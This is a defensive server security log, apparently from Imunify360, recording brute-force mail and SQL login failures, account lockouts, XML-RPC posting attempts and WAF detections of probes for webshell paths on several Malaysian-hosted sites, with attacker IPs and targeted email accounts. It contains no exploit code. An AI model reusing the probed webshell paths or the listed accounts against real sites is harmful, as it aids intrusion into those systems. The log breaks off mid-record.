2026-01-31 07:03:11 dovecot_login authenticator failed for H=([203.170.150.178]) [203.170.150.178]:51792: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.148
country_id: 2635167
description:
2026-01-31  7:03:51 20038 [Warning] Aborted connection 20038 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.148' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/img/demos/about.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:de57f19807e60047f07c3fe95ee1967544ae372f||Title:0x2bb16107||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.78.152.240
country_id: 1861060
domain: pftfood.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/pftfood/public_html/wp-includes/SimplePie/Content||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.78.152.240
country_id: 1861060
domain: pftfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/2023/08/autoload_classmap.php||SC:/home/pftfood/public_html/wp-content/uploads/2023||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.166.131
country_id: 3865483
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/product-sub.php?id=23&sub=6 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.177.175.182
country_id: 357994
description:
2026-01-31 07:04:59 dovecot_login authenticator failed for H=([41.65.118.172]) [154.177.175.182]:56422: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:113325e2efb728deb77b49ffa51eb58023d365be||Title:0x377c8c1b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.114
country_id: 1269750
description:
2026-01-31 07:04:39 dovecot_login authenticator failed for H=([152.52.238.86]) [182.95.184.114]:33712: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.183
country_id: 2750405
description:
2026-01-31  7:04:36 20057 [Warning] Aborted connection 20057 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.183' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.227.70
country_id: 1269750
description:
2026-01-31 07:04:49 dovecot_login authenticator failed for H=(dsl-ncr-dynamic-145.59.23.125.airtelbroadband.in) [182.95.227.70]:46830: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.180.58
country_id: 1835841
description:
2026-01-31 07:05:40 dovecot_login authenticator failed for H=([114.30.180.58]) [114.30.180.58]:52024: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-01-31 07:05:50 dovecot_login authenticator failed for H=([182.95.176.122]) [182.95.176.122]:59946: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.158.145.31
country_id: 2510769
description:
2026-01-31 07:05:22 dovecot_login authenticator failed for H=31.145.158.146.dynamic.jazztel.es [146.158.145.31]:34657: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.38.136.211
country_id: 1814991
description:
2026-01-31 07:05:36 dovecot_login authenticator failed for H=([111.38.136.211]) [111.38.136.211]:42614: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1f73b8082c16778faa8c89fc7909ee997476ff85||Title:0xb8e9be2a||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.178.249.143
country_id: 3469034
domain: www.usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.usfood.com.my/shop.php?id=1&sub=2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.64.3.134
country_id: 1269750
description:
2026-01-31 07:06:33 dovecot_login authenticator failed for H=([125.21.245.33]) [182.64.3.134]:48674: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e2da1b9f139687f9228af553550f204ff941316f||Title:0x475e5290||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.246.178
country_id: 1269750
description:
2026-01-31 07:06:45 dovecot_login authenticator failed for H=([182.79.95.139]) [152.52.246.178]:44360: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.50.5.94
country_id: 1269750
description:
2026-01-31 07:06:58 dovecot_login authenticator failed for H=([103.50.5.94]) [103.50.5.94]:58454: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:836609855aeccf3aeb23ee825f81afbcde47a455||Title:0x2c2752d3||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.60.126
country_id: 1269750
description:
2026-01-31 07:07:33 dovecot_login authenticator failed for H=([182.79.136.105]) [122.187.60.126]:60008: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 07:08:00 dovecot_login authenticator failed for H=(VUpV0PE) [69.5.189.21]:57541: 535 Incorrect authentication data (set_id=louiswong@ms-chemicals.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.183
country_id: 2750405
description:
2026-01-31  7:07:08 20130 [Warning] Aborted connection 20130 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.183' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.36.19.41
country_id: 2510769
description:
2026-01-31 07:07:14 dovecot_login authenticator failed for H=(62.36.19.41.static.abi.uni2.es) [62.36.19.41]:50691: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.188.184.13
country_id: 1814991
description:
2026-01-31 07:07:50 dovecot_login authenticator failed for H=([27.188.184.13]) [27.188.184.13]:41256: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.132.97.76
country_id: 2264397
description:
2026-01-31 07:08:19 dovecot_login authenticator failed for H=a94-132-97-76.cpe.netcabo.pt [94.132.97.76]:33192: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 07:08:24 dovecot_login authenticator failed for H=(WW3qv2wRI) [69.5.189.21]:61724: 535 Incorrect authentication data (set_id=louiswong@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-01-31 07:08:30 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:47308: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4776f969f66d2af2ba2e0f4369d11c851e053b0e||Title:0x92f95903||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.148
country_id: 2635167
description:
2026-01-31  7:09:55 20200 [Warning] Aborted connection 20200 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.148' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.62.103
country_id: 1814991
description:
2026-01-31 07:09:28 dovecot_login authenticator failed for H=([36.135.62.102]) [36.135.62.103]:55470: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.172.147.190
country_id: 1269750
description:
2026-01-31 07:09:44 dovecot_login authenticator failed for H=([110.172.147.190]) [110.172.147.190]:44608: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 07:09:12 dovecot_login authenticator failed for H=(TVHrGx7Ij) [69.5.189.21]:53468: 535 Incorrect authentication data (set_id=louiswong)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:28d7c5fd97fd3e0e40ab1d87086abc26f9a16d96||Title:0xd8ec9909||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.95.198.138
country_id: 1269750
description:
2026-01-31 07:09:16 dovecot_login authenticator failed for H=(dsl-kk-static-static-138.198.95.61.airtelbroadband.in) [61.95.198.138]:44026: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.95.73.31
country_id: 1814991
description:
2026-01-31 07:09:53 dovecot_login authenticator failed for H=(31.73.95.218.broad.yc.jx.dynamic.163data.com.cn) [218.95.73.31]:47632: 535 Incorrect authentication data (set_id=amir)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:23e814ebfc409a13edbb408cd49ec5b57b27bafc||Title:0x31e93b77||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 07:10:21 dovecot_login authenticator failed for H=(6fe2ydk) [69.5.189.21]:51874: 535 Incorrect authentication data (set_id=louiswong@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 07:11:09 dovecot_login authenticator failed for H=(IdW6vBPwYG) [69.5.189.21]:59521: 535 Incorrect authentication data (set_id=louiswong)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:500a3779012738735a6be5b4517133dd81faee5f||Title:0xb55d5a47||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-31 07:11:52 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:36379: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.8.235.78
country_id: 3625428
domain: langkawiconstructions.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/langkawiconstructions.com/slide-page/construction-work HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:11:24 dovecot_login authenticator failed for H=(0yUn2XXa) [178.16.54.138]:56759: 535 Incorrect authentication data (set_id=jc@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-01-31 07:12:10 dovecot_login authenticator failed for H=([122.187.230.227]) [122.187.230.227]:54167: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:12:39 dovecot_login authenticator failed for H=(6DvNBF6) [178.16.54.138]:50230: 535 Incorrect authentication data (set_id=jc@mckd.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cbfe4264ba15851c7b5826d8d70e5493f8eb6804||Title:0x7e4a171f||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: imax.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/imaxcom/public_html/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 07:12:18 dovecot_login authenticator failed for H=(vZFyNi3) [69.5.189.21]:54204: 535 Incorrect authentication data (set_id=louiswong@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.144.86
country_id: 6252001
description:
2026-01-31 07:12:01 dovecot_login authenticator failed for H=24-119-144-86.cpe.sparklight.net [24.119.144.86]:54010: 535 Incorrect authentication data


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-01-31  7:13:03 20294 [Warning] Aborted connection 20294 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4cdc0199801b436df34d77bfa139f3ec8dee8e5a||Title:0x997a6eb0||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.80
country_id: 1269750
description:
2026-01-31 07:13:23 dovecot_login authenticator failed for H=(nsg-corporate-80.229.187.122.airtel.in) [122.187.229.80]:45174: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 07:13:06 dovecot_login authenticator failed for H=(0Wc5o1) [69.5.189.21]:61855: 535 Incorrect authentication data (set_id=louiswong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-01-31 07:13:11 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:53138: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:13:19 dovecot_login authenticator failed for H=(gu9fWsRS5e) [178.16.54.138]:50387: 535 Incorrect authentication data (set_id=jc@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.41
country_id: 2750405
description:
2026-01-31 07:13:55 dovecot_login authenticator failed for H=(Copy-of-VM-2022) [45.94.31.41]:11904: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.41
country_id: 2750405
description:
2026-01-31 07:14:03 dovecot_login authenticator failed for H=(Copy-of-VM-2022) [45.94.31.41]:12347: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:14:21 dovecot_login authenticator failed for H=(xSovu9) [178.16.54.138]:55408: 535 Incorrect authentication data (set_id=jc@mckd.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7403494bcf5f682eb3f7c45da582393884c0f745||Title:0x2a49efdc||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.232.44.198
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=62511515979613 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-31 07:15:11 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:57905: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-31 07:15:39 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:50370: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.148.199.165
country_id: 2077456
description:
2026-01-31 07:15:07 dovecot_login authenticator failed for H=165.199.148.122.sta.wbroadband.net.au [122.148.199.165]:58003: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-01-31 07:15:42 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:34536: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f0d9ab85992db59f78973003e4d0493c164dc78d||Title:0xe258ed17||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-31 07:15:23 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:36112: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:15:26 dovecot_login authenticator failed for H=(Si84uZZua) [178.16.54.138]:63208: 535 Incorrect authentication data (set_id=jc@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-01-31 07:15:27 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.90.30.233
country_id: 1269750
description:
2026-01-31 07:16:32 dovecot_login authenticator failed for H=([59.90.30.233]) [59.90.30.233]:54738: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.174.18
country_id: 1269750
description:
2026-01-31 07:16:23 dovecot_login authenticator failed for H=([152.52.234.33]) [182.95.174.18]:41310: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:16:32 dovecot_login authenticator failed for H=(Zj6OHTa) [178.16.54.138]:62486: 535 Incorrect authentication data (set_id=jc@mckd.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:phua8686.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6565f3b7419d757e39a64c39dda7c7871c7b003b||Title:0x55040dee||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:17:05 dovecot_login authenticator failed for H=(IYFPkldJ) [178.16.54.138]:64819: 535 Incorrect authentication data (set_id=jc@mckd.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:tuju-guest.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:51766250676cc0069ffa467ff22a55124dd29c0a||Title:0xb692d9c5||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.158.39.201
country_id: 690791
description:
2026-01-31 07:17:52 dovecot_login authenticator failed for H=(95.158.39.201.bestsolution.net.ua) [95.158.39.201]:41577: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.63.42.76
country_id: 1814991
description:
2026-01-31 07:17:56 dovecot_login authenticator failed for H=([111.63.42.76]) [111.63.42.76]:61636: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.190.238.64
country_id: 1814991
description:
2026-01-31 07:18:10 dovecot_login authenticator failed for H=([115.190.238.64]) [115.190.238.64]:41160: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.248.238.187
country_id: 1835841
description:
2026-01-31 07:18:11 dovecot_login authenticator failed for H=([106.248.238.187]) [106.248.238.187]:47327: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-31 07:18:55 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:57426: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.129.210
country_id: 1861060
domain: mail.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/sutsbcom/public_html/wp-includes/images/wp-login.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/images/sitemap.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.57.107
country_id: 1880251
description:
2026-01-31 07:19:00 dovecot_login authenticator failed for H=(ADMIN) [156.146.57.107]:17512: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:18:09 dovecot_login authenticator failed for H=(BkSpnVK) [178.16.54.138]:55135: 535 Incorrect authentication data (set_id=jc@mckd.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:tuju-guest.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8d573e08ed773a3fd5b03fa1b51db6db62875a1d||Title:0xb181d30c||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 07:18:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jc@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:tuju-guest.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:febbb4b8dfdf938e28972949a1a8b4104b92cdbb||Title:0xdc67d57a||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.135.31.74
country_id: 1522867
description:
2026-01-31 07:19:51 dovecot_login authenticator failed for H=2.135.31.74.dynamic.telecom.kz [2.135.31.74]:50349: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 07:19:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jc@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.166.123
country_id: 1605651
description:
2026-01-31 07:19:05 dovecot_login authenticator failed for H=([106.0.166.123]) [106.0.166.123]:46562: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.249.20.14
country_id: 1814991
description:
2026-01-31 07:19:14 dovecot_login authenticator failed for H=([140.249.20.14]) [140.249.20.14]:41835: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:19:20 dovecot_login authenticator failed for H=(WVHuzD) [178.16.54.138]:61536: 535 Incorrect authentication data (set_id=jc@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.211.233.218
country_id: 1814991
description:
2026-01-31 07:19:31 dovecot_login authenticator failed for H=([60.211.233.218]) [60.211.233.218]:5198: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:20:08 dovecot_login authenticator failed for H=(VxJBfe5p) [178.16.54.138]:56575: 535 Incorrect authentication data (set_id=jc@mckd.com.my)


plugin: modsec
